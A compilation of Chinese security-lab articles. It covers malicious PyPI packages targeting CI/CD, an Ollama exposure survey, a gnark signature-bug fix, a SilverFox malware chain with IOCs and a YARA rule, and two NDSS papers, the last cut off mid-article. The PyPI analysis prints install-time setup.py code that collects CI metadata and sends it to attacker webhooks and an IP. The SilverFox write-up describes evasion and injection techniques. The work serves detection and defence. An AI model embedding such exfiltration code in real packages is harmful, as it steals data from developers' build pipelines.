星图实验室天问软件供应链监测系统在春节期间发现了PyPI中出现的针对CI/CD的恶意软件包。我们挑选了其中3个来系统分析其攻击逻辑及危害，即http_notifier_test-1.0.0、ci_metadata_python_logging-0.1.0、pylibcugraphops-23.12.0。这些样本在命名、功能描述和行为逻辑上，均明显针对 CI/CD 场景进行定向投毒，具有典型代表性。

从命名风格可观察到，攻击者刻意采用“CI”、“metadata”、“logging”、“test”等关键词，使包名看起来高度贴合自动化构建、测试与日志采集场景，从而降低人工审查与用户警惕。

3. 恶意行为分析

3.1 利用 setup.py 触发自动执行

三个样本均将恶意逻辑嵌入于 setup.py 中。由于 Python 包在安装时会自动执行 setup.py，因此攻击者可在 pip install 阶段实现无感执行，极其适合 CI/CD 场景。这一阶段通常发生在：

• CI Runner

• GitHub Actions / GitLab Runner

• Jenkins Agent

• 云原生构建节点

且大多以 高权限、全自动、无人工干预 的方式执行，为攻击者提供了极佳的攻击窗口。

3.2 CI 环境识别与定向攻击

恶意样本通常首先检测是否运行在 CI/CD 环境中：

import os
if "CI" in os.environ or "GITHUB_ACTIONS" in os.environ:
# 执行恶意逻辑

我们发现的三个样本，均在setup.py中尝试获取CI相关环境变量信息

http_notifier_test

ci_metadata = {
"ci": os.environ.get("CI"),
"github_actions": os.environ.get("GITHUB_ACTIONS"),
"github_workflow": os.environ.get("GITHUB_WORKFLOW"),
"github_run_id": os.environ.get("GITHUB_RUN_ID"),
"github_run_number": os.environ.get("GITHUB_RUN_NUMBER"),
"github_run_attempt": os.environ.get("GITHUB_RUN_ATTEMPT"),
}

ci_metadata_python_logging

ci_metadata": {
"ci_detected": os.environ.get("CI", "false"),
"gh_actions": os.environ.get("GITHUB_ACTIONS"),
"gh_workflow": os.environ.get("GITHUB_WORKFLOW"),
"gh_run_id": os.environ.get("GITHUB_RUN_ID"),
"gh_actor": os.environ.get("GITHUB_ACTOR"), # Who triggered the run
"gh_ref": os.environ.get("GITHUB_REF"),     # Branch or tag
"git_commit": os.environ.get("GITHUB_SHA")
}

pylibcugraphops

params = {
"ip": ip,
"ci": os.getenv("CI"),
"gh_act": os.getenv("GITHUB_ACTIONS"),
"gh_wf": os.getenv("GITHUB_WORKFLOW"),
"gh_id": os.getenv("GITHUB_RUN_ID"),
"gh_num": os.getenv("GITHUB_RUN_NUMBER"),

这些CI数据可以使攻击者精确定位受害项目的构建流程与代码状态，进而实现高度定向攻击，同时对于记录的CI流水线的GitHub用户身份，可以依此来构建针对性的钓鱼攻击。

3.3 HTTP外联通信

这些恶意样本均实现了HTTP 外联模块，用于将窃取的数据发送至攻击者服务器。

http_notifier_test

BEACON_URL = "http[:]//164.90.176.41:23444"
...
# Send POST request with IP info
json_data = json.dumps(data).encode('utf-8')
req = urllib.request.Request(
BEACON_URL,
data=json_data,
headers={'Content-Type': 'application/json'}
)
urllib.request.urlopen(req, timeout=3)

ci_metadata_python_logging

# 3. Send to Webhook
# Note: example.com is a placeholder; use your webhook.site URL
webhook_url = "https[:]//webhook.site/5940aa52-b829-4f0d-afe2-08d29d2922d0" 
req = urllib.request.Request(
webhook_url,
data=json.dumps(payload).encode("utf-8"),
headers={"Content-Type": "application/json"},
method="POST"
)
# Short timeout ensures the install doesn't "hang" if the site is down
urllib.request.urlopen(req, timeout=5)

pylibcugraphops

WEBHOOK_URL = "https[:]//webhook.site/1cee78e0-32f4-4e76-8f9d-f2bfa58784f9"
COLLAB_DOMAIN = "your-collab-domain.oastify.com"
...
query = "&".join([f"{k}={v}" for k,v in params.items() if v])
url = f"{WEBHOOK_URL}?{query}"
subprocess.Popen(
["curl", "-m", "3", "-s", url],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)

从这些代码的结构和注释，我们不难发现这些攻击样本来自于固定的模版，攻击者只需修改其中的服务器地址就能实施攻击。

而且pylibcugraphops包名接近真实 CUDA / cuGraph 生态组件，描述信息中显示该包为依赖测试。如果这个包被攻击者使用依赖攻击来下载使用，将非常难以检测排查。这些恶意软件包针对的目标受众可能为高性能计算CI环境，一旦被攻破，其中的模型权重、私有数据、商业算法等高价值的内容都可能遭到窃取。

4. 防御与缓解建议

针对 CI/CD 环境中存在的恶意依赖投毒风险，应从依赖完整性校验、运行环境权限控制、构建阶段动态监控以及供应链威胁检测四个方面构建系统化防护体系。

• 依赖完整性校验：

   对第三方依赖实施版本与哈希锁定，结合 pip install –require-hashes 机制，并统一使用受控的软件仓库，防止恶意包混入构建流程。

• 运行环境最小权限化：

   遵循最小权限原则，避免默认注入高权限访问令牌，对 CI 任务实施分级授权，并将构建节点与生产环境进行隔离，降低凭据泄露带来的扩散风险。

• 构建阶段动态监控：

   对 pip install 过程进行实时监控，重点检测 setup.py 中的环境变量扫描、网络外联和可疑命令执行行为，实现对攻击的早期发现与阻断。

• 供应链威胁检测：

   结合静态分析与动态检测技术，构建面向 CI/CD 场景的检测机制，通过 AST 解析识别恶意安装脚本行为，实现对 CI 定向恶意包的自动化防护。

5. 结论

我们系统分析了三个针对 CI/CD 生态的 PyPI 恶意包样本，揭示了一类高度隐蔽、定向性强的软件供应链攻击模式。攻击者通过在 setup.py 中嵌入恶意逻辑，实现对 CI 运行环境的自动化信息收集，重点窃取构建流水线元数据与敏感环境变量，从而为后续的定向攻击、凭据滥用与潜在的供应链渗透提供关键情报基础。

该攻击范式对现代 DevOps 架构构成严峻挑战，尤其在高度自动化的构建环境中，信息窃取行为本身即可引发严重的安全连锁反应，亟需在依赖管理、CI 运行权限控制以及自动化威胁检测等层面构建系统性防御机制。

阅读原文

跳转微信打开

以下文章来源于：AOSP实验室

南开大学AOSP实验室，聚焦多元化安全与隐私研究，涵盖网络安全、Web安全、大模型安全及新兴安全风险等方向，致力于提升网络技术与大模型融合场景下的整体安全性，并通过原创性研究成果持续服务与支撑安全社区发展。

2025年2月14日，南开大学AOSP实验室首次向国家有关部门披露公网暴露的Ollama服务（默认端口11434）存在未授权访问风险，并推动安全预警发布。此后，基于自主研发的XMap全网扫描器，我们开展了为期一年的持续监测，对Ollama公网暴露规模、生态演化与基础设施安全状况进行系统观测与分析。

在南开大学、奇安信技术研究院与清华大学研究团队的共同研究下，最终形成《Ollama网络安全态势监测2025年度报告》。综合分析表明：Ollama 公网暴露规模仍处于增长阶段，生态复杂度持续上升，节点流动性显著增强，整体基础设施呈现高度云化特征，同时 TLS 配置与安全治理水平仍存在进一步优化空间。

值此漏洞披露一周年之际，现发布报告预览版，以期推动相关服务安全加固，并促进大模型与网络安全交叉领域的研究发展。

──────✧ ✧ ✧──────

──────✧ ✧ ✧──────

0x01规模与趋势

从全年运行态势看，公网暴露规模整体保持高位波动，平均日活跃暴露约为13,254，中位数约为13,160，显示生态规模在全年维持相对稳定水平。从季度变化看，2025年 Q2与 Q3阶段性回落，而在2025年 Q4至2026年 Q1再次出现明显回升，反映出暴露活动具有周期性调整与阶段性扩张特征。

全年累计暴露 IP 达152,137，净增长规模为+141,664，累计暴露与当前活跃暴露比值约为9.47。该指标表明，“历史曾暴露”节点数量远高于持续在线节点规模，生态呈现显著的高更替与高流动特征。

──────✦ ✦ ✦──────

0x02生态结构

全年模型与版本生态呈现出“规模扩张与结构重排并行”的演进特征。观测期内，日唯一模型峰值达到5,654（2026-02-06），日唯一版本峰值达到182（2026-02-13）。按完整月度对比，模型规模由2025-02的4,969增至2026-01的8,379（+68.63%），版本数量由119增至195（+63.87%），表明生态复杂度持续上升。

0x02-1全周期事件（2025-02-14至2026-02-13）：

📎 口径说明

定义“全周期事件”为：某模型或版本在单日出现在100个活跃节点 IP 上记为100，并对全年逐日累加形成事件总量。

统计结果显示，Top1模型为 smollm2:135m（1,490,205，占7.98%），Top1家族为 llama（8,654,881，占46.34%），Top1版本为 0.1.33（287,829，占6.54%）。Top5占比方面，模型为22.33%、家族为82.47%、版本为24.64%，反映出家族层面高度集中，而模型与版本层面仍保持显著长尾结构。

从月度主导项演化看，第一模型经历 deepseek-r1:1.5b → hermes3:8b → smollm2:135m 的阶段性切换，其中后者自2025-04起长期占据主导地位；版本主线则由 0.5.x 逐步演进至 0.13.x，并在2026-02-13日维度首次出现 0.15.x 头部版本，显示版本迭代节奏仍在加快。

0x02-2最近日快照（2026-02-13）

截至2026-02-13，当日活跃 IP 为16,059，模型数5,643，版本数182。模型前五分别为 smollm2:135m（9.07%）、deepseek-v3.1:671b-cloud（7.47%）、nomic-embed-text:latest（2.99%）、deepseek-r1:1.5b（2.98%）与 mistral:latest（2.91%）；版本前五为 0.15.6（11.51%）、0.13.5（9.37%）、0.1.33（8.72%）、0.15.2（4.49%）与 0.15.4（4.49%）。

当日活跃 IP 年龄中位数为77天，其中7天内节点占比14.59%，90天以上占比46.37%。短周期波动节点与长期稳定节点同时存在，成为当前暴露生态的典型运行形态。

──────✧ ✧ ✧──────

0x03存活周期

存活周期分析表明，IP 极易更替，模型中等稳定，版本最稳定。这一结果与“节点弹性调度与迁移频繁、软件升级节奏慢于节点更替”的运行规律相一致。全年最长存活记录分别为：IP358天（3个节点）、模型 deepseek-r1:latest355天、版本 0.1.33 持续348天。

──────✦ ✦ ✦──────

0x04地理分布

全年观测覆盖158个国家和地区，前四依次为 CN（29.09%）、US（21.65%）、DE（9.06%）与 FR（7.43%）。其中 CN 与 US 合计占50.75%，前三占59.80%，前五占70.06%。整体呈现“全球分布广泛、核心承载区域高度集中”的特征。

──────✧ ✧ ✧──────

0x05 TLS 证书

观测发现，部分暴露IP通过443端口反向代理或网关对外提供访问。通过对TLS证书生态分析，共有24,524个暴露 IP 配置证书，其中 SSL 验证通过率为52.54%，证书过期率为9.88%。

证书生态中，Let's Encrypt 占比45.67%，其后为 DigiCert、TrustAsia、ZeroSSL 与 Sectigo。签名算法以 sha256WithRSA（69.43%）与 ecdsa-with-SHA384（25.63%）为主，但仍存在 md5WithRSA（2.39%）及少量 sha1WithRSA。密钥长度以2048位（68.00%）为主，另有部分4096位及少量1024位证书。总体来看，TLS部署已具规模，但仍有一定比例节点未达到当前安全基线。

──────✦ ✦ ✦──────

0x06预览总结

🔖 治理建议

综合全年监测结果，公网暴露的 Ollama 生态正在加速扩张，并呈现出“规模增长、结构重组、节点高流动、基础设施集中化”的复合态势。对治理而言，这意味着既要持续关注短周期暴露波动，也要建立面向长期演进的版本与证书风险跟踪机制。

本文为年度报告预览版。详细内容请参见南开大学 AOSP 实验室《Ollama 网络安全态势监测2025年度报告》白皮书（待发布，如有需求可留言公众号）。

阅读原文

跳转微信打开

星图实验室接棒玄武实验室，完成零知识证明库 gnark 高危漏洞的最终修复

2025 年 8 月，腾讯玄武实验室基于大模型能力构建的自动化漏洞挖掘引擎 Atuin 在零知识证明（ZKP）库 gnark 的签名验证电路中发现一处高危漏洞，并获得编号 CVE-2025-57801（CVSS 8.6）。该问题本质上属于签名可塑性（Signature Malleability）：在电路约束不完备的情况下，攻击者可以在不改变公共输入（交易内容/消息等）的前提下，构造出不同但仍能通过验证的签名见证，从而破坏“签名唯一性/不可重放性”这一常被上层协议默认成立的安全前提。

之所以需要严肃对待这类缺陷，是因为 gnark 作为工程化程度很高的 ZKP 库，被广泛用于 ZK-Rollup 等扩容场景；一旦 Operator/业务电路直接复用存在缺陷的“原生（native）签名验证”实现，那么攻击者就可能基于一笔真实交易派生出“内容相同但签名不同”的伪造版本，进而在某些以签名字段（如 R/S）派生 nullifier、反重放标识或约束逻辑的系统里引发重复执行/重复结算等连锁风险。

在玄武实验室披露后，其与上海交通大学 GOSSIP 实验室及郁昱教授团队完成了漏洞复现与影响分析，并推动社区修复。但值得注意的是：即便该漏洞构造并不复杂，其初始“修复”却并不严谨。在早期修复链路中，签名标量 S 的取值约束仍存在边界条件缺口——实现里检查的是 s <= order，而标准要求的是 严格不等 s < order。这会在极端边界（例如 s = order）下引入等价关系，使得签名对在形式上出现可塑性（可理解为 (R, 0) 与 (R, order) 的等价风险点），从而留下“理论上可被利用、工程上可能被误用”的残余隐患。

为消除这一残余风险，我们（星图实验室）进一步向 gnark 上游报告并推动修复：最终在 PR #1684 将约束从 AssertIsLessOrEqual 调整为严格比较（在 std/signature/eddsa/eddsa.go 中用 cmp.IsLess 并断言结果为 1），使 EdDSA 验证满足 S < order 的严格要求；该 PR 已于 2026-01-21 合入主分支，并在CVE-2025-57801中获得了致谢。

更有意思的是，这个“残余隐患”的发现路径，几乎与玄武实验室依赖复杂 Agent 体系（Atuin）进行自动化挖掘的路径相反：星图研究员在看到玄武实验室相关信息后第一时间尝试复现。作为安全研究团队，我们希望对 AI/大模型在漏洞分析中的有效性做更“朴素但可对照”的评估——因此我们没有调用外部网络，也没有搭建多工具链 Agent，而是把公开上下文（即ecdsa.go，prompt为：“请你帮我查找其中的安全隐患”。）直接投喂给 Gemini 2.5 Pro 与 GPT-5。出乎意料的是，在“无外部检索、无复杂编排”的条件下，大模型依然给出了准确的漏洞挖掘、机理拆解与推导链路，并能自然地把关注点落到“约束是否完备/边界是否严格”这种最容易在修复阶段被忽略的细节上。

我们关注到当时的网络安全圈的一些评论，例如微博上对这个的讨论是： “用 AI 发现代码中的漏洞已经没什么稀奇了。但是在密码学库，尤其是经过多轮人工审计的 Web3 社区的密码学库里还能发现漏洞，这就让我们对 AI 能力边界的认知又扩大了一圈。” 这个案例给了我们一些新的如何利用AI能力开展安全研究的启发，AI的能力在目前的安全研究人员认知中可能被低估了，需要大家进一步评估AI挖掘漏洞的潜力。

相关链接：

• 我们的AI发现了一个零知识证明库的漏洞，Sam Altman的项目也用了这个库https://mp.weixin.qq.com/s/MefyWBQJKU2Mf0vLwau8MQ

• gnark 官方漏洞公告：Security Advisories · Consensys/gnark · GitHub

• CVE-2025-57801：NVD - CVE-2025-57801

阅读原文

跳转微信打开

天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。

近期，天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。该攻击链通过多阶段反调试检测、伪装合法软件安装、内存反射加载等技术，并结合隐蔽的进程注入与DLL侧载（DLL Side-Loading）等手段，以规避安全检测，实现持久驻留于受害者主机。

• 样本名： Rar0092_v3.53.278_2xdcey.exe

• SHA1：50715a3abd66e17654255b7881b035d006dce605

• 文件类型：EXE

• 文件大小：127.03 MB

• 家族归属：银狐家族

• 报告链接：(https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&sk=91675144)

该样本具备高度隐蔽性，在执行过程中反复侦测运行环境，其执行逻辑具有明显的多层次、复杂化特征。天穹智能化沙箱系统凭借其全链路行为深度建模与动态分析能力，成功完整捕获并解析了该样本从初始释放、伪装执行、多阶段内存加载到最终持久化与 C2 通信的全过程。系统不仅精准识别了其反调试、环境探测、权限提升等规避行为，还完整提取了各阶段解密后的恶意载荷。以下结合沙箱动态分析结果细致分析样本的恶意行径。

1、反调试检测

首先，样本运行后先检测自身是否处于调试状态，通过检查 PEB->BeingDebugged 字段识别当前是否被用户态调试器附加调试。
接着，调用 NtQuerySystemInformation(SystemBasicInformation) 接口获取当前系统基本信息，检测 CPU 核心数量是否满足 >= 3 核，以及物理内存大小是否满足 >= 3G，样本依据上述硬件配置判断是否处于沙箱分析环境。

当以上检测要求通过后，样本开启真正的恶意能力释放。为保护自身核心代码和逻辑不被轻易窥探，外部函数调用均通过手动查找 LDR 链表获取模块基址，再解析 PE 头获取函数地址，增加函数调用的隐蔽性。
这类多层环境感知检查被深度内嵌在代码执行流的关键节点上，形成贯穿始终的对抗屏障，阻碍安全人员的动态调试和静态分析。

2、伪装安装程序

环境检测通过后，样本再度检查自身是否具有管理员权限，权限满足后会在 C:\\ProgramData 目录下创建随机字符串的目录，并释放多个文件：

app.exe._ (MD5：f041793908111b5395226bc9ed5e6698)
README.md (MD5：daa5414f94d8f43925efffd79979cf75)
View.dat (MD5：c2db56df94b92d6370c87303d1506f54)
Web.dat (MD5：937ab7f863261a046ba3dd46df7cb270)
åº ç ¨å® .exe (MD5：34f435f15a846ae677f88ea412c074d1)
View.conf (MD5：85fac9d703132b9a28beb11d8ec3d181)

其中 åº ç ¨å® .exe (MD5：34f435f15a846ae677f88ea412c074d1) 为腾讯应用宝的可信安装程序，其余文件为样本后续阶段运行的加密 payload。
为掩盖程序真实意图，样本在释放恶意文件后，调用 WdcRunTaskAsInteractiveUser 接口运行腾讯应用宝安装程序，制造正常操作的假象，欺骗用户。随后，样本隐蔽地拉起 app.exe 进程，进入下一阶段的恶意操作。

3、Payload 加载与执行

第一阶段： View.dat 文件 payload 为 raw 数据，样本通过 VirtualAlloc 分配内存，将 payload 解密后写入内存，并调用 CreateThread 函数创建线程执行该段 payload。
解密后的 payload 是一段具备内存反射加载 PE 文件功能的 shellcode，会加载 raw 数据中夹带的 DLL 文件，并调用其入口函数 DllEntryPoint 进入下一阶段逻辑。

第二阶段： 内存加载的 DLL 文件注册服务并运行 svchost.exe 进程，并注入其他两个文件中包含的 payload (app.exe._ 和 View.dat)

值得说明的是，在本阶段执行注入操作时样本会判断运行环境，高版本 Windows 系统将使用 PoolParty (泳池派对) 注入技术。
注入的恶意代码会在用户目录下释放两个文件：WebViewHelper.exe 和 libcef.dll，其中 WebViewHelper.exe 为具备合法签名的白文件，被用来加载黑文件 libcef.dll，达到混淆视听的目的。

svchost.exe 进程通过自启动服务方式运行重命名之后的 WebViewHelper 进程，进入下一阶段逻辑。

第三阶段： WebViewHelper 进程加载的恶意 DLL 文件 (libcef.dll) 会进行一系列的环境检测，包括判断运行环境、所属 session 以及管理员权限等，检测通过后与 C2 服务器建立通信。

整个攻击链逻辑错综复杂，层层递进，分析难度极大。同时，攻击者通过伪装合法安装程序、利用白文件加载黑文件等方式混淆视听，进一步干扰了用户和安全人员的判断。

恶意文件（MD5）

481577b35e4d09510c49d78f5c3fa98c Rar0092_v3.53.278_2xdcey.exe
0c0d6806bb8caf68d4dfa5208db52a17 app.exe
f041793908111b5395226bc9ed5e6698 app.exe._
daa5414f94d8f43925efffd79979cf75 README.md
c2db56df94b92d6370c87303d1506f54 View.dat
937ab7f863261a046ba3dd46df7cb270 Web.dat
34f435f15a846ae677f88ea412c074d1 åº ç ¨å® .exe
85fac9d703132b9a28beb11d8ec3d181 View.conf
c154442ddf6363b6ac5822e47028d672 WebViewHelper.exe
74be16979710d4c4e7c6647856088456 libcef.dll

恶意IOC

192.238.201.32[:]30009 C2 地址

报告链接

分析报告：(https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&sk=91675144)

天穹沙箱已针对该银狐变种样本编写如下YARA规则，供用户参考使用：

rule Trojan_SilverFox
{
meta:
description = "银狐变种的检测"
date = "2026-01-04"
strings:
$seq1 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 88 04 24 48 63 44 24 04 48 8B 4C 24 20 8A 04 01 88 44 24 01 0F B6 04 24 48 63 4C 24 04 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 0F B6 04 24 48 8B 4C 24 20 8A 54 24 01 88 14 01 }
$seq2 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 48 8B 4C 24 20 88 81 01 01 00 00 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 8A 04 01 88 04 24 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 0F B6 89 00 01 00 00 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 8A 14 24 88 14 01 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 0F B6 04 01 48 8B 4C 24 20 0F B6 89 01 01 00 00 48 8B 54 24 20 0F B6 0C 0A 33 C1 }
condition:
all of them
}

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

阅读原文

跳转微信打开

星图实验室联合清华大学、中关村实验室在 NDSS 2026 发表研究成果！团队分析超 320 万个恶意样本，构建了全球最大的代码签名滥用数据集（43,286张证书），首次发现"幽灵证书"威胁，系统揭示五大攻击策略。数据集已开源，为软件供应链安全研究提供重要支撑。

一、代码签名沦为恶意软件的“护身符”

当你在运行某个软件时，看到如下所示的弹框，“已验证的发布者：XXX有限公司”，你是否会不假思索地点击“是”？然而，大量安全事件表明这样的信任已经被攻击者滥用，看似安全的软件来源可能来自于精心设计的伪装。

近年来，软件供应链安全事件频发，为了保护软件真实性与完整性，代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术，旨在确保软件来自真实来源且软件内容未被篡改。当终端用户安装或以管理员权限运行软件时，操作系统会验证代码签名的有效性，帮助用户判断此软件是否值得信任（如上图所示）。然而，攻击者有时会反过来利用代码签名 PKI 信任体系中的安全缺陷，通过某种手段为恶意软件配置代码签名，帮助恶意软件绕过操作系统和杀毒软件的检查，我们称之为“代码签名滥用”。

为了应对代码签名滥用带来的安全威胁，奇安信技术研究院星图实验室与清华大学、中关村实验室联合研究团队在 NDSS 2026 会议上发表了论文《Understanding the Status and Strategies of the Code Signing Abuse Ecosystem》。这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成，导师为段海新教授（清华大学）和应凌云博士（奇安信星图实验室）。其他作者分别为张一铭（清华大学）、张明明（中关村实验室）、刘保君（清华大学）、游子权（清华大学）、张书豪（奇安信星图实验室）。

在这项工作中，我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件，对 Windows 代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法，我们检测到了 43,286 张滥用证书，构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在，影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了五种滥用者的攻击策略，并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。

二、代码签名研究的三大挑战

与传统的 Web PKI 不同，代码签名 PKI 测量研究存在三大挑战：

1. 缺少大规模数据集：

   在 Web PKI 中，研究者可以通过 TLS 扫描主动收集数据或被动分析 TLS 流量。Censys 和 Rapid7 等公共数据集也能为测量工作提供支持。此外，证书透明度（CT）机制提供了 CA 颁发记录，方便研究者批量获取证书数据。然而，代码签名生态系统相对封闭，无法通过主动扫描或 CT 等手段获取大规模数据集，这是制约代码签名测量研究的最大障碍。

2. 缺少 Ground Truth：

   尽管近年来代码签名滥用事件频发，但是学术界尚未找到代码签名滥用检测分类相关的 Ground Truth，以往基于签发行为的分类方法被证实可能会被攻击者绕过。这阻碍了对代码签名证书进行标注和聚类分析。

3. 问题根源难以溯源：

   CA 端的操作和实现并不透明，即便定位到代码签名滥用行为，也难以由此溯源到造成滥用的根源所在，导致无法提出有针对性的缓解措施。

我们的工作分别通过综合公共数据集与私有沙箱样本、设计基于撤销信息的滥用检测分类算法、按照不同滥用类型作细粒度分析等方法解决了以上三大挑战。

三、代码签名滥用测量的创新方法设计

为了解决以上挑战，我们提出了针对代码签名滥用测量的一系列创新方法设计，以实现大规模、细粒度、可溯源的滥用测量分析。

数据收集方面，我们综合了公共数据集与私有沙箱样本。我们收集了公共恶意软件存储库 VirusShare 在 2020 年 10 月至 2024 年 10 月期间发布的所有样本，经过过滤保留了 176,968 个签名 PE 样本。此外，我们还从合作公司沙箱中补充收集了 3,828,744 个签名的 PE 文件。两个数据集通过合并去重后共得到 3,962,788 个签名样本，通过反病毒引擎分析最终筛选出了 3,216,113 个恶意签名样本。此外，我们还从多个维度对样本特征进行了扩充，比如爬取 CRL 撤销信息、收集样本恶意行为分析报告等，以实现更精准的检测与分析。

为了实现细粒度的分析，我们提出了一种代码签名滥用检测分类算法。受益于近年来 CA 撤销透明度的改善，我们得以通过已撤销证书被披露的撤销原因（Revocation Reason）来推知证书滥用背后的原因。我们依据样本对应的 SignTool 输出结果、CRL 撤销信息以及 OpenCorporates 查询结果设计了新的检测分类方法，将滥用分为签名复制、私钥窃取、身份盗用、空壳公司、自签证书等五种滥用类型。不同的滥用类型采取了不同的滥用手段，其产生的安全威胁与影响范围也有所不同。对于私钥窃取、身份盗用以及空壳公司这三类相对高级的滥用类型而言，由于攻击者掌握受信任证书的私钥，他们可以任意为恶意软件进行签名且不会触发操作系统的安全告警，具有隐蔽性强、影响范围大的特点。

此外，我们还设计了一种基于LLM的证书关联方法，通过输入证书主题字段以及公钥信息来推断滥用证书是否来自同一攻击者。这一方法不仅帮助我们扩展标记了 287 张未标记滥用证书，还以此聚类得到了 3,484 个证书多态类簇，为后续滥用策略分析提供支撑。

四、核心贡献与关键发现

构建迄今最大的滥用标记数据集

利用代码签名滥用检测分类算法，我们最终收集到了 3,216,113 个来自真实世界的已签名的恶意 PE 文件，从中提取得到了 43,286 张滥用证书，构建了迄今为止最大的代码签名滥用标记数据集。值得注意的是，其中有 23,252 张滥用证书由公共可信 CA 颁发，我们的工作重点关注这些具有高威胁的证书样本。

对滥用生态开展全面测量

我们利用上述代码签名滥用标记数据集对滥用生态开展了全面而深入的测量分析工作。分析发现当前代码签名滥用现象普遍存在，影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现部分 CA 明显更受攻击者青睐，且与市场份额与证书价格无关，这可能反映出某些 CA 对于证书申请者的身份审核存在漏洞。

良性样本与恶意样本代码签名中的 CA 分布对比

首次发现“幽灵证书”

阻止滥用证书的唯一有效手段是证书撤销，测量发现为恶意软件签名的滥用证书撤销率仅为 17.56%。我们首次发现了制约撤销率提高的关键因素——“幽灵证书”，即已被确定为滥用却无法被撤销的证书。这些证书由于其颁发者证书过期、撤销或停止运营导致撤销设施（CRL/OCSP）失效，即使识别到滥用行为也无法发布撤销信息，而它们的代码签名即使在签名证书过期后由于时间戳（TSA）的存在依然有效。我们发现已确认被滥用但仍未被撤销的证书中至少有 38.96% 符合“幽灵证书”的条件。

“幽灵证书”示意图

发现五种滥用策略

为了找到当前代码签名 PKI 的安全缺陷并提出有针对性的缓解措施，我们深入分析了攻击者的行为和策略。我们通过分析标记数据集总结出了五种滥用策略，旨在逃避检查、降低成本和扩大攻击影响。例如，在证书申请阶段，攻击者可能会利用不同国家之间 CA 身份审查宽松程度的差异有选择性地申请证书（比如假以越南、亚美尼亚等国公司的身份进行申请）。在证书签名阶段，攻击者可能会为恶意软件精心配置“双签名”，通过附加兼容旧密码算法的签名来扩大攻击影响范围。

深入挖掘证书多态现象

证书多态也是攻击者常用的滥用策略之一。证书多态是指同一实体使用相同（或稍有修改）身份向相同或不同的 CA 申请多张证书的现象。借助证书多态，攻击者可以以相对较低的成本批量获得多个证书（避免注册多个空壳公司带来的巨额开销），同时逃避 CA 撤销的检查（一张证书被撤销不影响其他证书）。我们通过证书关联方法识别了 3,484 个证书多态类簇，发现了 315 个利用多态绕过撤销检查的真实案例。此外，我们还首次发现了利用特殊字符实施证书多态的实例（如下图所示）。

利用特殊字符实施证书多态的示意图

五、总结

代码签名是验证发布者身份并确保软件完整性的重要机制。然而，我们的研究发现代码签名滥用已经成为了软件生态的重大安全威胁之一。我们对现实世界的代码签名滥用生态系统进行了大规模测量研究，开发了一种针对证书滥用类型的细粒度检测分类方法，获得了迄今为止最大的滥用证书标记数据集（43,286 个证书）。利用该数据集，我们对代码签名生态系统与攻击者行为进行了全面而深入的分析，揭示了攻击者一系列的代码签名滥用策略。

我们认为造成代码签名滥用持续泛滥的安全缺陷主要来自于 CA 端，包括颁发过程缺乏标准化、消极的滥用治理等。我们建议 CA 增强证书颁发与撤销的透明度（比如建立 CT）、主动监测野外滥用行为、为证书主题字段建立统一标准。同时，我们也希望 Windows 做出相应调整以缓解“幽灵证书”的影响。

最后，本文构建的代码签名滥用数据集已开源发布，期待能为后续研究工作提供参考。我们希望安全社区能够给予代码签名领域更多关注，以更好地维护健康的软件生态。感谢您的阅读！

论文&项目开源地址：https://github.com/XingTuLab/Code_Signing_Abuse_Dataset

阅读原文

跳转微信打开

奇安信星图实验室与北邮团队在NDSS 2026发表JavaScript反混淆论文，系统归纳20种混淆技术，提出融合静态、动态与LLM的分析方法。这是继CCS 2024、DSN 2022后团队在脚本反混淆安全领域的又一学术成果。

一、当恶意代码穿上”隐身衣”：JavaScript混淆的现实威胁

打开一个可疑的JavaScript文件，你可能会看到这样的代码：

这不是乱码，而是攻击者精心设计的”隐身衣”——JavaScript代码混淆。这段看似天书般的代码，实际上可能隐藏着窃取用户数据、植入后门或发起网络攻击的恶意逻辑。

JavaScript作为互联网前端和客户端脚本的核心语言，在网页及各类网络应用中被广泛使用，这也使其成为了攻击者的首选目标。攻击者频繁利用JavaScript的动态特性，通过多层、多样化的混淆技术隐藏恶意代码，极大增加了安全分析的难度。

面对这一日益严峻的安全威胁，奇安信技术研究院星图实验室与北京邮电大学联合研究团队在NDSS 2026会议上发表了论文《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》。该论文由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和王东滨教授（北京邮电大学），参与该项工作的还有柴华君（奇安信星图实验室）。这篇论文也是我们继PowerPeeler (CCS 2024)和Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。

通过系统性文献调研和样本分析，研究团队将JavaScript混淆技术归纳为四大类共20种技术：词法级混淆（变量重命名、间接属性访问等5种）、语法级混淆（表达式转函数、特殊编码等6种）、语义级混淆（字符串数组、控制流平坦化等7种）和多层混淆（OB混淆、AI辅助混淆2种）。针对这些复杂化的混淆趋势，研究开发的综合性反混淆工具JSIMPLIFIER能够自动破解各种混淆技术，将晦涩的恶意代码还原为安全分析师能够快速理解的清晰形式。

二、现有反混淆工具的三重困境

